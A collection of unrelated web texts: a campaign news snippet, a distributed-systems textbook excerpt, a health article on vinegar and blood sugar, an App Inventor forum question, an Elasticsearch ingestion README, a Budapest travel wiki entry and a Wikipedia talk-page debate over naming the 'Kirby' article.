crowd clapped and laughed along at Kaine’s prompts, many holding “Stronger Together” signs passed out by campaign aides and one man walking around hoisting a homemade poster with “Kaine train” written in block letters above a drawing of a train engine. “We’re pretty smart people, we’re not gullible people – we’re not going to be tricked by Trump,” Kaine said, as the crowd cheered. Kaine was introduced by his wife, former Virginia Education Secretary Anne Holton, who was at her first campaign event since the Clinton bus tour right after the Democratic convention. “We’re actually having a blast doing this together,” Holton said. “If I get to do an event with Anne, it’s like vacation,” he added. | NEWS-MULTISOURCE |
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3 applies to interprocessor messages as well. In addition to the asynchronous model we have been discussing so far in this section, another model related to G's timing characteristics is the fully synchronous (or simply synchronous) model, for which the following two properties hold. All nodes are driven by a global time basis, referred to as the global clock, which generates time intervals (or simply intervals) of fixed, nonzero duration. The delay that a message suffers to be delivered between neighbors is nonzero and strictly less than the duration of an interval of the global clock.
2 for examples). One of the foremost consequences of assuming that a system is anonymous is that the algorithm describing the computation to be carried out by a node must be the same for all nodes. The reason why this property must hold is that differences in the algorithms performed by the nodes might provide a means to establish identifications that the nodes would then be able to use in their computations, in which case the system would no longer be anonymous. 2. will be limited to the cases in which G is an undirected graph with one single cycle, that is, an undirected ring.
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The other day, as I pushed my cart around Whole Foods, a new book touting the wonders of apple cider vinegar caught me by surprise. Mainly, I was taken aback that anyone still considers the ingredient a magic elixir. I was under the impression that notion had been debunked way back when phones still had cords. People have been writing books on the subject at least since that era, and apparently they haven’t stopped. A quick search on Amazon revealed more than 20,000 results for publications on apple cider vinegar, many written in the past several years and most subtitled with words such as “natural miracle cure,” “detox,” “weight loss,” “healing power” and “anti-aging.” Clearly, this gold-amber liquid still has some allure, so I decided to investigate whether there is any research to back it up.
It turns out there is substantial evidence that consuming vinegar can help keep blood sugar under control, which in turn may ultimately decrease the risk of diabetes and heart disease, among other benefits. Carol S. Johnston, associate director of the nutrition program at Arizona State University, who has been studying the effects of vinegar for more than 10 years, says, “Vinegar appears to inhibit the enzymes that help you digest starch.” When starch is not completely digested, you get a smaller blood sugar (glycemic) response — “20-40% less in healthy people and in diabetics” — after eating a high-glycemic food such as a bagel, according to Johnston’s findings. The vinegar has a more moderate blood-glucose impact when a fiber-rich whole grain is eaten (because there is less of a spike to begin with) and no effect when no starch is eaten.
On top of that, undigested starch may have a prebiotic effect, meaning as it passes through the intestines it becomes food for the good bacteria in your gut. Well-fed gut bacteria generally translate to a healthier you because these microorganisms help support good digestion and our immune systems, among other benefits.
Those undigested starch calories may also add up over time to some weight loss, plus, according to Johnston, “there is emerging research that vinegar might increase fat oxidation.” She stresses, however, that contrary to many of those popular book titles, “vinegar is not a magic bullet for weight loss. I have seen very modest weight loss in my studies, of one to two pounds after 12 weeks.” In the one study published, in Japan in 2009, that specifically examined vinegar’s impact on weight, subjects lost two to four pounds in 12 weeks.
Better blood-sugar control, possible modest weight loss and better gut health seem like valid, if not exactly miraculous, benefits. Maybe there is something to this apple cider vinegar thing after all? But wait — there is a catch. “There is great marketing behind apple cider vinegar, and it works to lower the glycemic response, but it doesn’t have to be apple cider vinegar,” Johnston says. She says the active starch-inhibiting ingredient in vinegar is acetic acid, which is in all vinegars. She personally prefers the taste of red wine vinegar, which she says works just as well, as does white distilled vinegar, for example.
Apple cider vinegar aficionados boast about the unique attributes of the unfiltered, unpasteurized product — which still has the “mother” in it, the weblike blob of bacteria that is actually the starter (like a sourdough starter) used to ferment wine into vinegar. Many commercial brands filter this out so the vinegar is crystal clear and more appealing to look at, but health food brands generally retain it. The “mother” is harmless and may offer some benefits, such as polyphenols and probiotics, but there is no research to back up health claims about it. And there is not an appreciable amount of vitamins, minerals or pectin in apple cider vinegar, as is often advertised. If those are the qualities you are seeking, you’d be better off eating an apple.
If you want to try to reap the benefits of vinegar — apple cider or any other variety — make sure you do it right, not only to get the most out of it, but because it can be harmful otherwise. Johnston suggests diluting 1 to 2 tablespoons of vinegar in 8 ounces of water and drinking it right before eating, once or twice a day, perhaps before lunch and dinner. It’s important to take the vinegar just prior to eating so it is in your stomach before any starch reaches it.
Also, never drink vinegar straight. It is a potent acid that can be dangerous if aspirated, may cause burns to the tender tissue of the mouth and esophagus, and can lead to tooth erosion. And because vinegar could interact with medications, and its anti-glycemic effect may be dangerous to diabetics taking insulin, talk to your doctor before using it therapeutically if these are concerns for you.
In the name of research, I tried a tablespoon of vinegar in a glass of water before eating lunch the other day and found the first few sips pleasant enough, but I confess I had trouble finishing it. I couldn’t help thinking about how my lunch of vegetables and salmon with a side of quinoa pilaf was already supporting a healthy low blood-sugar response and contained plenty of prebiotic fiber. I’ll stick with vinegar to season my food, and drink my usual water or wine. It is good to know, however, that besides adding a bright punch of flavor, that acid could have some health benefits, and I might be inclined to drizzle extra on my green salad starter if I am having a rice or bread-based meal to follow.
If you do choose to sip yours, be sure not to go overboard. “Just because a little is good doesn’t mean you should drink half a bottle of it,” Johnston says. “Use common sense here. This is a very strong acid and can be a poison if you drink too much.”
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calc result (always the same,and i change the numbers)
I´ve made a simple calc program, and i have always the same result.
I made the calcls in excel or by hand and they are ok, in MITappInventor dont give error but it's always the same result .
What i've made wron ? can anyone helpme ?
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I do not know what the calculation should have been, but your calculation always amounts to 8900/10500=0.84761
Maybe it is clear to you when I format the blocks differently (click on a math block and choose external inputs to see it the same way).
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Agree with Ghica. I worked the formula through in a spreadsheet and always got 84.761 - unless textbox 2 and textbox 3 have the same number in which case you get 0/0 = infinity or error
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elastinats
Intended to take from nats subjects/groups and pump data at elastic search. It will create 3 special fields:
• @timestamp - the unix timestamp
• @raw_msg - the raw string coming in
• @source - the subject from the message
If the data coming in is JSON it will parse that and send that parsed version to elasticsearch.
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If a group is specified it will subscibe that way, otherwise it will just subscribe to the subject. This is useful for scaling out the cluster.
For instance if you have 3 subjects: logs.file1, logs.file2, logs.file3. To distribute the load across multiple boxes the configuration on each would be:
{
...
"subjects": [
{
"subject": "logs.*",
"group": "shared"
}
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...
}
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Castle Quarter (Budapest)
The Castle Quarter (Hungarian: Várnegyed) refers to the part of Budapest located within the defensive walls of the Buda Castle complex, corresponding with the medieval royal city of Buda. Located on the Várhegy (Castle Mount), it is the oldest part of Budapest.
The center of the quarter is the area between the Royal Palace and Matthias Church.
Notable sights
* Viennese Gate
The "Bécsi kapu" (Vienna Gate) is one of the medieval gates of Buda. Today, it serves as an entrance to the district.
* Buda Castle
The first fortress on Várhegy was built in the 13th century. Following the devastation during the Turkish occupation the whole building complex was reconstructed. It now it hosts some notable museums and other monuments, among them the national library. Dísz tér (En: Dísz Square) can be found next to the complex.
* Matthias Church
A well-known church in the country. Its construction started around the same time as that of the castle. The sarcophagus of Béla III of Hungary can be seen within the building. The square in front of the church is called Szentháromság tér (En: Holy Trinity Square).
* Fisherman's Bastion
The bastion was built in the beginning of the 20th century. Its terrace provides a panorama view of the city.
Other notable monuments
* Baroque style apartments – the area was mainly populated after the Turkish occupation so most of the apartments carry the baroque stylistics of the 18th century, also what has been called late Rococo Zopfstil.
* Dísz Square (Budapest) – one of the main squares of the area with a nice view upon the town.
* Museum and Institute of Military – the museum provides an overview upon the history of Hungarian military.
* Museum of Telecommunication– the museum deals with the history of telecommunication.
* Church of Mary Magdalene, Budapest
* Saint Nicholas monastery and church, Budapest
* Arany Sas Museum of Medicine
* Lutheran Church of Budavár
* National Archives of Hungary
* Hospital in the Rock - The site served as a shelter during the bombings; now it is an exhibition. | WIKI |
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Kirby Emoticons? (>^.^)>
There is a relatively known presence of ascii emoticons known as "kirby emoticons" that could deserve a redirect from here. I'd assume they're covered on the general emoticons/vertical emoticons page. In case its unclear from the title: here's a few more.. <(^.^)> <(^,^<) (>O.o<) (>^__^)> (>-.-)> <(_._)>
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There are plenty of common uses for the word Kirby, and the Ninentndo character does not trump all others.
* Add *Support or *Oppose followed by an optional one sentence explanation, then sign your vote with ~
* Support, if it's necessary for the maker of the request to support. -R. fiend 17:17, 12 November 2005 (UTC)
* Support Izehar 12:49, 4 November 2005 (UTC)
* Support. Let's be friendly to the users! -- DS1953 talk 18:16, 12 November 2005 (UTC)
* Support I think the Nintendo Kirby is the most familiar, but it doesn't deserve to be the default. Draeco 01:37, 18 November 2005 (UTC)
* Vote closed: pages moved — Gareth Hughes 20:23, 18 November 2005 (UTC)
* OBJECTION! >.> Anyway, the idea that Kirby is not leaps and bounds ahead of other similarly named articles is absurd. As of 2005, Kirby has exceeded 30,000,000 copies sold. 13,000,000 less than The Legend of Zelda and the Donkey Kong franchise. - A Link to the Past (talk) 01:23, 19 November 2005 (UTC)
* Furthermore, the Kirby vacuum, the only notable material that is just "Kirby" other than the character, has [www.kirby.com www.kirby.com], while the character has [www.kirbykirbykirby.com www.kirbykirbykirby.com]. It would be a safe assumption to say that [www.kirby.com www.kirby.com] gets more hits, no? But that is not the case. If you were to input these links into [www.alexa.com www.alexa.com], you would see that [www.kirbykirbykirby.com www.kirbykirbykirby.com] far exceeds [www.kirby.com www.kirby.com], by a whopping 21677 places. Not only that, but it is a safe assumption that even one single place that [www.kirby.com www.kirby.com] has was contributed by a person looking for information on the video game character. Please respond to this in a timely manner. - A Link to the Past (talk) 01:47, 19 November 2005 (UTC)
Discussion
This page should be moved to Kirby, and Kirby moved to Kirby (Nintendo) because, let's face it, the world does not revolve around Nintendo. There are many other uses for the word, some more common than a video game "character". This is why we have disambiguation pages. -R. fiend 18:16, 3 November 2005 (UTC)
* If such a change is made, I suggest that someone run a bot through everything currently linking to "Kirby", and make them link to "Kirby (Nintendo)" before anything is moved. Cheers! BD2412 T 17:28, 14 November 2005 (UTC)
* Not a bad idea. As it's my request, I'd volunteer, but I'm completely bot-illiterate. One thing I have noticed, however, is that Wikiepdia is full of two types of users: 1. Those who are willing to make hundreds of rather minor tweaking edits to boost their edit count, and 2. Those who are willing to spend hours on any articles that are computer/video game related. Then Venn diagram for those two sets must have a pretty substantial overlap of users who would be willing to do this by hand. -R. fiend 17:40, 14 November 2005 (UTC)
this AND a disambiguation?
how do you do one of those "merge this page" heading? isn't this the disambiguation?
* That's Kirkby, with two k's
Cucumber?
I think there's this cucumber known as the "Kirby" that is often pickled. Anyone want to look into it? Hairyshoe 03:18, 2 August 2006 (UTC)
Move back discussion
* Especially considering that since it was released in early November in Japan, Kirby: Squeak Squad has sold more than 800,000 copies (compared to 900,000 and 700,000 for Kirby: Nightmare in Dream Land and Kirby & the Amazing Mirror respectively). In the comparison with those two games, those two games sold that many copies in their lives, while Squeak Squad has bested one and is close to besting the other in less than three months and will probably break 1 million copies in Japan alone. In respect to the United States, Kirby: Squeak Squad sold 215,000+ copies, compared to LTD figures for Amazing Mirror and NiD of 640,422 and 974,124 respectively.
* This isn't my strongest point, I'm just showing that the series is still a major power house in the video game industry, and is the most notable figure that uses the Kirby name by itself. Kirby has a very popular video game series which has sold close to 30 million copies and an ongoing anime, versus the Kirby Company - which isn't even very known anymore outside of having annoying salesmen. However, Kirby is a well-known franchise still and is considered a quality franchise (according to Game Rankings, which gave Kirby: Canvas Curse nearly an 88%/100%).
* The way this situation seems to be set up is that Kirby can never overcome Kirby Company because Kirby Company is more real. However, as a franchise, Kirby is huge. How does the Kirby Company overcome them anymore? Not only that, but combining the fact that Kirby is the only entity that is exclusively Kirby - not John Kirby or Kirby Company - so why should Kirby be a disambig page? Who would search for Kirby, looking for Kirby Company, Kirby Puckett, or John Kirby? - A Link to the Past (talk) 00:14, 23 January 2007 (UTC)
Requested move (2)
* The following discussion is an archived discussion of the . Please do not modify it. Subsequent comments should be made in a new section on the talk page. No further edits should be made to this section.
NO CONSENSUS to move page, per discussion below. See also the reasoning presented by the closing admin at Talk:King Bowser. -GTBacchus(talk) 10:28, 9 March 2007 (UTC) Kirby (Nintendo) → Kirby Kirby → Kirby (disambiguation). – As I said above, Kirby is probably the biggest Kirby-named entity around these days. Kirby Company is more or less dead and gone, while Kirby has lasted for nearly two decades and has only had one non-million seller in years (Kirby: Canvas Curse, which likely failed to do so because it was released when the PSP was beating the DS in Japan, NA, and EU. The franchise is huge - and tell me, when people search for "Kirby", what do you think they are looking for? If they are looking for Kirby vacuum, they'll search for that. If they're looking for Kirby Puckett, they'll look for Kirby Puckett. But Kirby is just Kirby - and he's the only entity that is JUST Kirby. - A Link to the Past (talk) 06:54, 27 February 2007 (UTC)
Survey
Add "# Support" or "# Oppose" on a new line in the appropriate section followed by a brief explanation, then sign your opinion using ~. Please remember that this survey is not a vote, and please provide an explanation for your recommendation.
Survey - in support of the move
* 1) Strong support. - A Link to the Past (talk) 06:54, 27 February 2007 (UTC)
* 2) Support. - DisasterKirby 07:25, 27 February 2007 (UTC)
* 3) Strong support. In addition to being the primary topic, the video game character Kirby is the only item on the dab page named simply "Kirby." Dabing it with (Nintendo) is rather pointless. The dab page should be moved to Kirby (disambiguation). Crumbsucker 05:03, 28 February 2007 (UTC)
* 4) Support The primary Kirby is the video game character, and the only one known just by that name. TJ Spyke 11:11, 28 February 2007 (UTC)
* 5) Support Alexa rankings and the simplicity of Kirby's only being known as "Kirby" would make it simple, no? --ArrEmmDee 22:50, 28 February 2007 (UTC)
* 6) Support per ArrEmmDee and others. Does indeed appear to be the only Wikipedia topic named simply "Kirby". The listing of slightly similar names and topics is a disambiguation and I see no reason why it shouldn't be labeled as one. Mad Jack 21:55, 2 March 2007 (UTC)
* 7) Support. Kirby is the most significant subject that could be at this title in terms of real world impact, the only thing with that name, and the opposes here appear to be simply based in elitism. --tjstrf talk 02:59, 5 March 2007 (UTC)
* 8) Support, this seems to be the only significant thing known as just "Kirby". Too bad a lot of Wikipedia editors seem to think that non-fictional things are inherently more notable than fictional things just because they're... well, non-fictional. Voretus 19:28, 6 March 2007 (UTC)
Survey - in opposition to the move
* 1) Strong oppose. Duja ► 08:35, 27 February 2007 (UTC)
* 2) STOP THIS IDIOCY!Who ever heard of a video game character called Kirby, except for a few fanboys - but they don't count. Plasticbottle 04:02, 28 February 2007 (UTC)
* Comment: Hey new user with six edits: Please be civil. Crumbsucker 05:03, 28 February 2007 (UTC)
* 1) Strong oppose, Kirby is both a common place name and a common surname, and certainly not the only thing on the dab page named "just" Kirby. PC78 18:02, 28 February 2007 (UTC)
* Comment: Eh? Nothing BUT the Kirby character/series is named Kirby. Really, what harm is done by putting Kirby (Nintendo) at Kirby? It's THE only thing besides the dab page that can go there, and the only reason people object to it is because it's a fictional subject. - A Link to the Past (talk) 19:38, 28 February 2007 (UTC)
* Comment: You misunderstood. The only thing known by the single name Kirby is the video game character. If Kirby is your surname, your wikipedia title would be "(first name) Kirby." If your first name is Kirby and you have a last name, your wikipedia title would be "Kirby (last name)." If you are talking about a city named Kirby, your wikipedia title would be "Kirby, (name of state/province)" But Kirby the video game character only has one name: "Kirby". One name. that's it. Crumbsucker 20:54, 28 February 2007 (UTC)
* No, you misunderstand. Town or city names do not automatically have their state/provine after them - it's only used as disambiguation, just like "Kirby (Nintendo)". As I've already said, Kirby is a common place name, surname and given name, and in no way do I believe that this Nintendo character can be seen as the primary use. PC78 21:07, 28 February 2007 (UTC)
* Since when are cities referred to in a standalone way? Unless you're talking in a local manner, which is a rare occurance on the internet. - DisasterKirby 21:18, 28 February 2007 (UTC)
* What?! Kirby in Texas (for example) is called "Kirby", not "Kirby, Texas". IT'S THE NAME OF THE TOWN. What it's refered to is quite beside the point. "Texas" is only in there for disambiguation. PC78 22:06, 28 February 2007 (UTC)
* The only things that could be comparable to the video game series or the character are the Kirby Company and Kirby Puckett. With Kirby Company, they wouldn't search for Kirby, they'd search for Kirby vacuums most likely. And with Kirby Puckett, they wouldn't search for Kirby. However, when searching for the character or the series, the searcher WILL be searching for Kirby. I've been asking this for a while, what purpose does giving the main Kirby article to a dab page serve? There's only two possible uses for the article - dab link, and the character. So if any subject would get it, it would be nothing BUT the character, and the dab link could be just as useful at Kirby (disambiguation). In what situations would someone search for Kirby anyway? - A Link to the Past (talk) 21:32, 28 February 2007 (UTC)
* It serves a purpose when there is no primary use for a term, which is quite common on Wikipedia. People searching for Kirby aren't necessarily going to be looking for a Nintendo character. As I've said several times now, there are plenty of other uses of the name. PC78 22:06, 28 February 2007 (UTC)
* How many of those articles would people even search for "Kirby", expecting for them to get the right article? The only ones would be Kirby Company and Kirby, and Kirby is far more commonly known as "Kirby", while Kirby Company has that and Kirby vacuums. - A Link to the Past (talk) 22:10, 28 February 2007 (UTC)
* People might be searching for any one of the place names (which as I've stressed above are called "Kirby"), or an article about the name itself. I appreciate the popularity of this character, but the whole world doesn't revolve around Nintendo. PC78 22:36, 28 February 2007 (UTC)
* The way people act about it, it seems like they would prefer if nothing revolved around Nintendo. As I've shown, the population of all those Kirby towns doesn't even exceed the weakest sales month for the most recent game in the United States (January 2007, where it sold 26,000 copies). Also, just wondering - how well have Kirby vacuums been selling recently? - A Link to the Past (talk) 22:41, 28 February 2007 (UTC)
* Those figure are irrelevant - you don't need to live in the town to know it's there, nor do you need to own a copy of the game to know of its existance. PC78 16:24, 1 March 2007 (UTC)
* You asked for evidence that it's primary; now you are ignoring it. Thanks, that's reasonable. Crumbsucker 19:33, 1 March 2007 (UTC)
* I'm not ignoring it, I'm disregarding it's importance. Stop twisting my words. PC78 20:36, 1 March 2007 (UTC)
* It's ok, it's your choice to be unreasonable. Crumbsucker 21:09, 1 March 2007 (UTC)
* So I'm being unreasonable just because I don't agree with you? How very childish of you. PC78 21:57, 1 March 2007 (UTC)
* So says the person that apparently believes that small no-name towns and other relatively small things that haven't had any impact upon anything are enough to constitute a lack of disambiguation. - DisasterKirby 22:30, 1 March 2007 (UTC)
* No, it's fine for you to disagree with me, but your justification is unreasonable. And please refrain from name-calling. Crumbsucker 08:01, 2 March 2007 (UTC)
* "Town or city names do not automatically have their state/provine after them - it's only used as disambiguation, just like 'Kirby (Nintendo)'." That's not true. According to WP:NC:CITY, "Articles about cities and towns in some countries should be "pre-disambiguated", by having the article named as if there is a name conflict, even if one is not known at the time of writing the article." The naming guidelines for people are different. For people, you start with the common name (usually ) without pre-dabing if there's no naming conflict. So you wouldn't pre-dab Kirby the video game character with "(Nintendo)." And in the situation we're in now, naming his article Kirby doesn't conflict with other people because he's the only person with that single name and no surname. And becuase new cities named Kirby that get added to wikipedia are automatically going to have their state/province names tacted on to their article titles (even without the pre-dab rule), there won't be a naming conflict there either. "...in no way do I believe that this Nintendo character can be seen as the primary use." When looking at articles that could be potentially named "Kirby" (in this case, that would only be the video name character and cities, but not people with a first and last name since there'd be no naming conflicts in those cases), Kirby the videogame character would be primary. The cities named Kirby are minor while the character Kirby is in million-selling video games. Crumbsucker 22:34, 28 February 2007 (UTC)
* And now you seem to have a problem with the concept of "primary use". I'm quite sure that most users searching for "Kirby" won't be expecting to arrive at an article about a pink blob. You disagree, but since you want the articles moved you need to present your own argument that this character trumps the multitude of other uses rather than just attacking the opinions of others. In any case, I won't be continuing this debate with you any further - I'm not changing my mind on this, and there are only so many different ways I can say the same thing. The dab page needs to stay where it is. PC78 16:24, 1 March 2007 (UTC)
* You're just being ignorant now, because the argument that the character trumps the multitude of other uses has already been stated. Also, must I reiterate the usage of the disambiguation page? If people aren't looking for the video game character, then is it that big of a problem to just click the disambiguation link at the top of the page? I think not. - DisasterKirby 17:25, 1 March 2007 (UTC)
* Igonorant? Not really. It's just that none of what you guys have said can convince me that this move request is anything but absurd, and by the looks of it I'm not alone. Is it really so difficult for you to click on the link that's at the top of the dab page? I think not. PC78 18:39, 1 March 2007 (UTC)
* What do you mean i'm "attacking" your opinion? All I've done is argue my position with evidence (most you've chosen to ignore btw). Your only response has been "It's a pink video game blob. Are you nuts?" Crumbsucker 19:33, 1 March 2007 (UTC)
* No, that's not my only response, and it only proves that you haven't been reading my comments. What I mean by "attacking" is that you've turned my opposition to this move into a debate, instead of accepting that I simply don't agree with you. What evidence do you refer to? That it's a popular video game franchise that's been around for over a decade? I don't dispute that, and I never have. I just don't think it's enough to give it priority over the many, many other uses of Kirby. I've just done a google search for Kirby, and out of the first 50 results only about 4 sites were for the Nintendo character. That should tell you something. And yes, I quite possibly am nuts for giving this whole issue as much time as what I have. PC78 20:36, 1 March 2007 (UTC)
* Perhaps you missed: Polling is not a substitute for discussion. Discussion is what we are suppose to do here. Second, Google is an imperfect method to determine notability as is outlined here: WP:GOOGLE. Also what happened to: In any case, I won't be continuing this debate with you any further. Stop getting huffy if you're not going to stick to it. Crumbsucker 21:09, 1 March 2007 (UTC)
* In case you missed it, the Google test can also be useful in some cases. And you and I aren't actually discussing anything, we're just going round in circles, and I shall be more than happy to stop. I'll leave you to jump on the next guy who opposes this move request. PC78 21:57, 1 March 2007 (UTC)
* I haven't "jumped on" anyone, actually. I've presented evidence to counter misinformation. Unlike you, I haven't name-called. And again, stop with the huffy "i'm leaving" stuff. It's clear you aren't. Crumbsucker 08:01, 2 March 2007 (UTC)
* 1) Oppose. A video game characcter that no one will care about in a few years does not trump all other uses. Many of the others have been around long before the Nintendo version and will be around lng after. -R. fiend 21:49, 28 February 2007 (UTC)
* Perhaps you don't care about him, but I'm fairly certain that there are several people out there that do. Claiming that the character holds no significance because the series hasn't been around as long as some other series' is a poor counter, by the way. - DisasterKirby 21:53, 28 February 2007 (UTC)
* This is unbelievably absurd. Do you have anything to back up this idea? - A Link to the Past (talk) 22:10, 28 February 2007 (UTC)
* Two things, actually, a crystal ball and 14 metric tons of I-don't-give-a-fuck-about-Nintendo. As for the assertion that obviously anyone looking for the vacuum cleaner and its maker will look for "Kirby Company", do you have anything to back up this idea? I suppose everyone searching for Microsoft types in "Microsoft Corporation", right? likewise "Coca-cola Company", "Ford Motor Company", etc. Right? No, they type "Microsoft", "Coke" (or "Coca-Cola"), "Ford" and yes, "Kirby". -R. fiend 22:27, 28 February 2007 (UTC)
* I wish we had more people who would joke about presenting evidence to back up anything they say instead of doing so. Have you considered leaving Wikipedia so we don't have to deal with this crap? "Fifteen year old franchise with an anime, manga, and video game series (which is still extremely popular)? Yeah, that won't last." - A Link to the Past (talk) 22:32, 28 February 2007 (UTC)
* Most people looking for the Kirby vacuum company will type in "Kirby vacuum" or something similar. Microsoft, Ford, and Coke are multi-billion companies that most people in the Western world know about. Kirby Company is not. And if you want to compare the vacuum with the character, the character is wiki-linked far more. None of this matters anyway because the name of Kirby Company is "Kirby Company" (check out their website), not "Kirby" alone. Giving the video game character the article title "Kirby" will present no naming conflict at all. Crumbsucker 23:07, 28 February 2007 (UTC)
* So Kirby the character has more wikilinks? Well why didn't you say so? That changes everything. You mean to tell me the encyclopedia whose article on Sonic the Hedgehog (character) is 50% longer than it's article on Grover Cleveland (President), has more links to a video game character than a corporation? Then it is ipso facto far and away the most significant entry. -R. fiend 03:16, 1 March 2007 (UTC)
* I'd say it's safe to say that R. fiend abandoned any interest in discussing anything, but rather has chosen to try and disrupt the discussion. - A Link to the Past (talk) 03:56, 1 March 2007 (UTC)
* 1) Oppose — In the United States, the vacuum cleaner (Kirby Company) is the most notable, by far.--Endroit 17:44, 1 March 2007 (UTC)
* The indications that I see say the exact opposite is true. Kirby: Nightmare in Dream Land sold over a million in the US, Kirby & the Amazing Mirror sold over 600,000 in the US. Super Smash Bros. Melee sold over 2 million. I can't find the sales for Kirby vacuums or latest revenue for their company (not a good sign), but considering their prices and method of sales, it's probably far lower. Nintendo's Kirby is also wiki-linked to far more. It's irrelevant anyway because wikipedia isn't for Americans only and "Kirby Company" is the name of that company so the title of that article is staying the same either way. Crumbsucker 21:09, 1 March 2007 (UTC)
* The brand name of the vacuum cleaner is "Kirby", NOT "Kirby Company". Also, according to this report, Kirby vacuum cleaners has 14% of the market share in the United States. Kirby (vacuum cleaners) appears to be the 3rd most popular brand there. The Kirby video game, on the other hand, appears to have a much smaller share (anywhere in the world), meaning it's less known than the vacuum cleaner, at least in the U.S.--Endroit 15:07, 2 March 2007 (UTC)
* The article is about the company, which is why it's titled Kirby Company, not Kirby. According to that article, Dyson (who beat Kirby vacuums) sold 891,000 vacuums with 21 percent of the market. That means Kirby Company sold around 594,000 vacuums in a year. Each game Kirby the video game character's been in sells 2 to 4 million copies worldwide. Crumbsucker 06:14, 3 March 2007 (UTC)
* Kirby would redirect to Kirby Company if the vacuum cleaner brand were as popular as Nissan (which already redirects to Nissan Motors). Also, Kirby (vacuum cleaner) has been popular in the United States since the 1920s. Just simple math here... If Kirby (vacuum cleaner) sold 500,000 units annually for 80 years, that would be 40,000,000 (40 million) units cumulatively. Plus a sustaining market share of 14% in a nation with a population of 300 million (United States) can mean 42 million people who has a Kirby vacuum cleaner in their house.--Endroit 07:40, 3 March 2007 (UTC)
* While I wouldn't equate a population of 30 million with 30 million vacuum-owning households, the exact numbers are not terribly relevant; we are still talking about millions of units and a well-known company who goes by the name "Kirby", at least for their products, if, perhaps, slightly less so for the company. Similarly, as has been pointed out, the Nintendo character is not the only thing that goes by the name "Kirby" alone, as, despite attestations to the contrary; the place names are simply" Kirby". Kirby, Ohio's proper name is not "Kirby, Ohio" any more than the proper name of "Moscow" is "Moscow, Central Federal District". Anyone who says otherwise is confusing Wikipedia naming conventions with the proper names of places. In any case, it seems the only people supporting this move are a handful of editors with a bit of a fixation with video games (if their user pages are anything to go by), those taking a more impartial examination (and even at least one gamer now) have all opposed it. -R. fiend 14:23, 3 March 2007 (UTC)
* And your edits don't seem to just be "oh, it's just a video game"? You're far more biased against video game subjects than any of us are biased towards any of them. - A Link to the Past (talk) 19:21, 3 March 2007 (UTC)
* Good one. Don't let anyone tell you you don't have a sense of humor. -R. fiend 19:59, 3 March 2007 (UTC)
* You said that the Kirby franchise would be irrelevant in three years based on nothing (in fact, saying it despite reality), and when I asked you any reason why this would be so, predictably, you didn't exactly respond with an actual reason. Please don't imply that you're any less biased than I am when you just seem to try to disregard any legitimacy Kirby has. - A Link to the Past (talk) 20:19, 3 March 2007 (UTC)
* 1) Oppose. It's a rather common name for places and people. I'd also suggest to move the game character and the company down to the "Other uses" section. - Cyrus XIII 18:39, 2 March 2007 (UTC)
* 2) Strong oppose I love Kirby as much as the next gamer, but you've got to remember that Wikipedia isn't just for the 13 to 30 male age bracket. If my grandma did a search for Kirby, I highly doubt that she's looking for the character.--SeizureDog 04:35, 3 March 2007 (UTC)
* 3) Oppose. As was said before, Kirby the Puff is a video game character. In all honesty, he's cute and everything but is largely irrelevant when compared to the city of Kirby, or the Kirby Vacuum company. Let this article be. <IP_ADDRESS> 10:39, 3 March 2007 (UTC)
* Just because it's been said does not mean that it's what is. Kirby is NOT largely irrelevant compared to ANY of those towns. His most recent game could sell to the population of all those towns combined x20. Seriously, Kirby is not irrelevant in comparison or at all for the same reason Mario or Lord of the Rings aren't. - A Link to the Past (talk) 19:21, 3 March 2007 (UTC)
* 1) Oppose. While I disagree with these arguments that Kirby won't be remembered in 3 or 15 years (note that the series has a 15 year history), Kirby vacuums and the variety of things named Kirby are important enough to have the disambiguation remain under the main name. - A Man In Bl♟ck (conspire | past ops) 22:00, 3 March 2007 (UTC)
* 2) Strong Oppose. If you wanted to do only "Kirby (Nintendo)" to "Kirby (video game character)" I might be ok with that. But under no cercumstances would I support "Kirby" as a page, pointing by default to the video game character. That's silly and there are just as many other notable uses of the name in the world. BcRIPster 22:53, 3 March 2007 (UTC)
* 3) Oppose. The video game character is clearly not the most dominant usage of the term. Similar principle applied in the Bowser debates. Hbdragon88 06:27, 4 March 2007 (UTC)
* 4) Strong oppose. Kirby means one thing and it is not a character. Vegaswikian 22:40, 4 March 2007 (UTC)
* Wow, this one makes no sense at all. - DisasterKirby 23:14, 4 March 2007 (UTC)
* Actually, it turns out he's right (though probably not by intent). I looked up "kirby" in my big 2662 page Webster's Third International Dictionary and there was only one definition. "[A] fishhook of evenly curved pattern". Ironically, that would be the one article we don't have, though it is in an image. So looks like it's move to fishing hook or nothing :P--SeizureDog 06:58, 6 March 2007 (UTC)
* The sarcasm in your statement is overflowing. A dictionary is not the same thing as an encyclopedia. - DisasterKirby 07:19, 6 March 2007 (UTC)
* 1) Oppose. Kirby (Nintendo) *might* be the dominant usage of the term, but not overwhelmingly. --- RockMFR 07:46, 5 March 2007 (UTC)
* 2) Oppose. Kirby is a prominent game character, but I don't think it has a really unopposeable dominance. For example, I think for comic books, Jack Kirby is very well known. And looking at the disambiguation page, there really is just too much that it should just be a disambiguation page. --Wirbelwind ヴィルヴェルヴィント (talk) 07:02, 6 March 2007 (UTC)
Discussion
Add any additional comments - It's just an unfortunate bias against video game subjects that damages its chances (one of the supporters was basically talking down to the Kirby character, implying that being in the video game spectrum is somehow bad). - A Link to the Past (talk) 06:54, 27 February 2007 (UTC) - There's a reason there are disambiguation pages, people. Just move all of the current info over to Kirby (disambiguation). - DisasterKirby 07:25, 27 February 2007 (UTC)
As a non-gamer, I've never heard of the Nintendo character nor do I care; apart from the character and vacuum cleaners, there are also several towns. The dab page at Kirby is exactly as it should be. Duja ► 08:35, 27 February 2007 (UTC)
* Um, hi, no. The fact that you've never heard of him and do not care about him is very irrelevant. He has a highly popular anime that has been released in NA and Japan, he's been around for more than two decades, has more than one dozen million selling titles. You make it seem like Kirby is a "nobody" video game franchise. And see, you are evidence of this problem - "video game character? No, that's fictional, I will not allow it to be viewed as notable!" Every town named Kirby on the dab page does not have a population exceeding 10,000. Kirby: Squeak Squad's December 2006 sales exceeded the population of all of those towns combined x20. So besides the fact that fictional concepts are always lesser on our scale "just because", do you have anything better? - A Link to the Past (talk) 08:50, 27 February 2007 (UTC)
* Mars Bars likely sell even better than Nintendo games, yet guess what is at Mars page? As for your notice:"And see, you are evidence of this problem - 'video game character? No, that's fictional, I will not allow it to be viewed as notable!'"I freely confess that I'm an evidence of it, although I don't see it as a problem. Duja ► 13:36, 27 February 2007 (UTC)
